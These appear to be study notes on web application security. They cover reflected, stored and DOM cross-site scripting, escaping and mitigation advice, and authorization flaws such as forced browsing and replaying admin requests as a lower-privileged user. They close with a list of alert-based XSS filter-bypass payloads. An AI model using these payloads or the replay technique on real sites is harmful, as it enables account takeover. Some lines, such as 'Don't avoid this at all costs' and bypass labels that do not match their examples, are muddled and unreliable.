- Reflected/Non-Persistent XSS:
- Application receives data in an HTTP request and includes that data within the immediate response in an unsafe way, without permanently storing the user provided data..
- Malicious script comes from the current HTTP request.
- Usually paired with CSRF bugs
- Stored/Persistent XSS:
- User input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser.
- With the advent of HTML5, and other browser technologies, the attack payload may permanently be stored in the victim’s browser, such as an HTML5 database, and never being sent to the server at all.
- DOM XSS:
- User input is stored in DOM of a page without proper handling, allowing arbitrary data insertion.
- Page itself (the HTTP response) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
Follow a checklist for each input:
- Figuring out where the data goes: Does it get embedded in a tag attribute? Does it get embedded into a string in a script tag? For stored XSS, find where it's stored - a DB, file contents, file name.
- Figuring out how the data is handled: Do URLs get turned into links or anchor tags? Is the data being HTML encoded before it goes to href field?
- Figuring out how special characters are handled: Try inputing '<>;:" If anyone among these goes through, it may help out encoding URLS before going into href field.
rXSS: rXSS vulnerabilities are inherently dependent on CSRF vulnerbilities to be exploitable in case of POSTs. If rXSS exists just in a GET then it's fine, else you are dependent on CSRF.
Note: If it's reflected and it's triggered via POST, proper CSRF mitigations will prevent this from being exploitable. If a POST is required on the stored XSS (for instance changing text on a page), then CSRF mitigations won't work at all.
During the special char test, level 3, suppose angle brackets passed through without encoding, and embedded into text of a tag, perfect case for Exploitation.
Simple script tag <script>alert(1);</script>
will get a successful exploit.
For WAF, use anchor tag <a href="URL">Text</a>
or an image tag <img src="image_url" alt="description">
with a bad source and use the onerror attribute
Try to bypass any special character and the application is exploitable.
In level 1, when URLs (inputs) are directly reflected into href (tag attribute) attribute and double quotes get in but not the angle brackets, in such case, use DOM.
To execute code, multitude of DOM events can be triggered, for eg. http://"onmouseover="alert(1);
which eventually gives <a href="http://"onmouseover="alert(1);">
. Now, when victim hovers over the link, JS is executed.
Note: Not all HTML tags support DOM events but majority of them does, making it a simple way to gain execution.
Exception: When you see a rXSS into a hidden input field, it takes up no space on the page so there's no way to use events like onmouseover.
Reflected XSS and the angle brackets are caught in above case, s.t. you are out of the attribute. You couldn't break out of tags or leave the tag, and spaces would end the "URL". What to do?
In HTML parsing, attributes are considered closed after their closing quote. You can lead right into the next attribute immediately after an end quote and still have a valid HTML.
If input is being reflected in a script tag, there are number of ways in which this can go wrong.
For instance, <script>var token='User input here';</script>
. Normal HTML encoding does not properly mitigate this for 2 reasons:
1. HTML entities won't be parsed in JavaScript, meaning the input will simply be wrong
2. Single quotes are rarely encoded as HTML entities.
For above example, let's look what happens with certain payloads under HTML encoding and simple string escaping.
- HTML encoded payload: '; alert(1);'
- Gives a final script:<script>var token=''; alert(1);'';</script>
- Having complete control over execution! - JavaScript string escape payload: </script><script>alert(1);</script>
- Gives a final script:<script>var token='</script><script>alert(1);</script>';</script>
- Again, giving complete control.
- Simply escaping/encoding is not enough.
- Escaping needs to be different for each context, like HTML tag body, HTML tag attribute and strings or other data in scripts.
- In case of string and scripts,
1. Don't avoid this at all costs.
2. Escape quotes and backslashes, and also replace angle brackets with appropriate hex escape. i.e. replacing<
with\x3c
and>
with\x3e
. - In many cases, it's not enough, eg. when passing an integer value into a DOM event attribute or a variable in a script tag.
- User-controlled input should not end up in a script tag or inside of and attribute for a DOM event. While it is possible to mitigate it but the likelihood of proper mitigation in next to none.
- For integer or boolean values, make sure that the input is type before putting it into a JS. Infact just convert it to that type yourself to be completely certain.
With DOM XSS, data may or may not even touch the server so this has to be prevented completely on the browser side.
Example: A simple page that includes a flag in the page based on the locale specified hash,
eg. http://example.com/#en-us
<div class="flag">
<script>
var locale = 'en-us';
if (location.hash.length > 2)
locale = location.hash.substring(1);
document.write('<img src="flags/' + locale + '.png"');
</script>
</div>
Code:
- Code pulls the locale out of the hash in the URL for instance en-us.
- If the location hash exists and has characters in it, it uses this part to create an image tag.
- The Code looks just like an rXSS vulnerability on the client side.
- Hashes don't go up to the server, it remains at the client side. WAF placed on the server has no impact on exploitation of such bug.
- String that comes from the hash in the URL is directly inserted into an image tag, allowing an attacker to pass anything, e.g. http://example.com/#"><script>alert(1);</script>
- The core problem with DOM XSS is that there are effectively an infinite number of ways in which it can come about, each of which requiring different mitigations:
- Embedding attacker data into
eval/setTimeout/setInterval
requires string escaping/filtering. - Embedding attacker data into tags and attributes requires HTML encoding
- Same goes for innerHTML
- Embedding attacker data into
- Don't put user-controlled data on the page directly.
- Use innerText instead of innerHTML when putting content into the page
- Consider a strict whitelist for these cases.
- In both the cases, there is Authorization failure.
- Occurs when failure to properly authorize access to a resource.
- For instance, an admin area where the root of the admin console is protected but some specific function in it isn't.
- May allow to enumerate IDs in posts and see others data.
The line is very fine between the two. Generally, Forced browsing (or Direct Object Reference) is used when you're talking about enumerable values such as Post IDs and other parts of the site that are not ordinarily available to you from your privilege level.
- It is generally combined under Authorization Bugs (or auth-z for Authorization to differentiate from auth-n for Authentication)
For example (Forced browsing), The permalink functionality for posts allows an attacker to enumerate IDs and access every post in the system, not just their own - http://h101levels.appspot.com/levels/1/post?id=465
. Changing the id=465
to any other number allows access to other users' posts.
One of the best techniques is to perform every action you can as the highest-privileged user, then switch to a lower-privileged user and replay those original requests, changing session IDs/CSRF token as needed.
- For instance, attacker can edit user details from admin panel when he's an admin. Switching to the lower-privileged user, attacker can see that the admin interface panel itself is blocked, receiving
permission denied
message. - But replaying the
Edit POST message
does succeed, enabling changing passwords, inserting XSS payloads to compromise users or admins or even using to exploit SQLi. - This is a great techinique to find admin-level functionality having improper authorization checks.
"><h1>test</h1>
'+alert(1)+'
"onmouseover="alert(1);
http://"onmouseover="alert(1);
- Basic Obfuscated Script Payloads
<img src=x onerror=String.fromCharCode(97,108,101,114,116)(1)>
- JS Event Handlers with Unicode Bypass
<svg onload=javascript:alert(1)>
- Using
setTimeout()
Instead ofalert()
<img src=x onerror=setTimeout('alert(1)',0)>
- Bypassing Input Filters with Event Handlers
<input autofocus onfocus=alert(1)>
- Script Tag within SVG
<svg><script>alert(1)</script></svg>
- JavaScript in URL Scheme
<a href="javascript:alert(1)">Click me</a>
- Using
document.write
for Obfuscation
<img src=x onerror=document.write('<script>alert(1)</script>')>
- Escaping
script
Tag Detection withscript
in Different Tags
<script>x='</script><img src=x onerror=alert(1)>'
Base64-Encoded
Script Execution
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
- Bypass via HTML Entities
<img src=x onerror=alert(1)>